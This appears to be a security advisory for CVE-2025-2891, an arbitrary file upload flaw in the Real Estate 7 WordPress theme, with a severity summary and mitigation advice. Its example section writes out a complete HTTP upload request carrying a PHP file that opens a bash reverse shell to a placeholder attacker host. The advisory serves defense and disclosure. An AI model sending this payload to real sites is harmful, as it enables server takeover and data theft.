Overview
The Common Vulnerabilities and Exposures system has identified a critical vulnerability, tagged as CVE-2025-2891, in the Real Estate 7 WordPress theme for WordPress. This vulnerability affects all versions up to, and including, 3.5.4, and it poses a significant threat to any business or individual using this theme on their WordPress website.
The vulnerability exploits a lapse in file type validation, allowing authenticated hackers to upload arbitrary files to the server of the affected site. This could lead to a system compromise or data leakage if not addressed promptly. The vulnerability is particularly concerning if the site has enabled front-end listing submission, as it provides an open avenue for cybercriminals to execute remote code.
Vulnerability Summary
CVE ID: CVE-2025-2891
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Seller-level access
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Real Estate 7 WordPress Theme | Up to and including 3.5.4
How the Exploit Works
The exploit works by taking advantage of the lack of file type validation in the ‘template-submit-listing.php’ file of the Real Estate 7 WordPress theme. If the site has enabled front-end listing submission, an authenticated attacker with Seller-level access can upload arbitrary files on the server. Because there is no file type restriction, the attacker can upload executable files or scripts, leading to potential remote code execution. This could subsequently result in unauthorized access, data leakage, or even system compromise.
Conceptual Example Code
Here is a hypothetical example, illustrating how an attacker might exploit this vulnerability. In this case, the attacker is submitting a malicious PHP script via an HTTP POST request.
POST /wp-content/themes/realestate_7/template-submit-listing.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fileToUpload"; filename="evil.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--The above conceptual example code demonstrates the uploading of a malicious PHP file that, when executed, would establish a reverse shell connection to the attacker’s machine.
Mitigation
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it is available. In the interim, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary solution. Both tools can help detect and block malicious file uploads. It’s also recommended to disable front-end listing submission if it’s not necessary for your website operations.